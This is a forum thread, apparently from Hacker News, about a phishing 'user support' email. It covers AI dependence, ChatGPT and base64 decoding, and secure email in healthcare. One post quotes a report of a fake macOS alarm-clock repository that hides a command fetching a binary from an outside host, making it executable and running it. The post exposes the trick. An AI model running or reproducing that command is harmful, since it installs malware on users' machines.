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The scariest "user support" email I've received

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Re: The scariest "user support" email I've received

#171

Post by jb1991 »

DocTomoe wrote: post #165
jb1991 wrote: post #162

Earlier quoted context omitted.

You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.

As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.

The steepest part of the slope has just started.

Re: The scariest "user support" email I've received

#173

Post by robinsonb5 »

duskwuff wrote: post #70
foxrider wrote: post #26

Earlier quoted context omitted.

The "free" hosts were already harbingers of the end times. Once, having a dedicated IP address per machine stopped being a requirement, the personal website that would be casually hosted whenever your PC is on was done.

> the personal website that would be casually hosted whenever your PC is on I don't think that was ever really a thing. Which isn't to say that no one did it, but it was never a common practice. And free web site hosting came earlier than you're implying - sites like Tripod and Angelfire launched in the mid-1990s, at a time when most users were still on dialup.

People did indeed do that - and dynamic DNS didn't kill it, thanks to services like dyndns back when it was free.

Re: The scariest "user support" email I've received

#174

Post by johnisgood »

mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

I mean some people asked what "cat" is, then I remembered there was a time when I had no idea how to use mIRC, so whatever. In my defense though, I was REALLY young.

Re: The scariest "user support" email I've received

#175

Post by bofadeez »

jb1991 wrote: post #162
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.

Yeah it's interesting. What's the incentive to spend 10 years learning tedious stuff anymore? In another 1-2 generations all non AI knowledge will be gone.

Re: The scariest "user support" email I've received

#176

Post by radu_floricica »

mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

"Why use a calculator all the time? Just use pen and paper!"

ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

Re: The scariest "user support" email I've received

#177

Post by mort96 »

radu_floricica wrote: post #176
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

Nah this is more like, "Why do you consult the vibes oracle to compute 7 * 5? Just use a calculator!"

.. which is, to be honest, a criticism I would make if I saw someone try to ask ChatGPT to do math

.. and, FWIW, that is exactly what's happening here; base64 decode is just math

Re: The scariest "user support" email I've received

#178

Post by [deleted] »

zenmac wrote: post #144

Also this git repo[1] that pretend to be an open source MacOS alarm clock dose the same trick. There is no code in git repo. But if you click the "Get Awaken" red button. It has some base64 encoded string which translate to: https://buildnetcrew.com/curl/e16f01ec9c3f30bc1c4cf56a7109be... ' -o /tmp/launch && chmod +x /tmp/launch && /tmp/launch The certificate is self-signed. Have not looked into it much, in today's us…

[deleted]

Re: The scariest "user support" email I've received

#180

Post by Lily1123 »

reaperducer wrote: post #66
cmurf wrote: post #45

Which is why it's infuriating that health care companies implement secure email by asking the customer to click on a 3rd party link in an email. An email they're saying is an insecure delivery system. But we're supposed to click on links in these special emails. Fuck!

Problems: - E-mail is insecure. It can be read by any number of servers between you and the sender. - Numerically, very few healthcare companies have the time, money, or talent to self-host a secure solution, so they farm it out to a third-party that offers specific guarantees, and very few of those permit self-hosting or even custom domains because that's a risk to them. As someone who works in healthcare, I can say…

pgp exists, and most email clients that anyone would use support it well enough to work even for relatively tech-illiterate users
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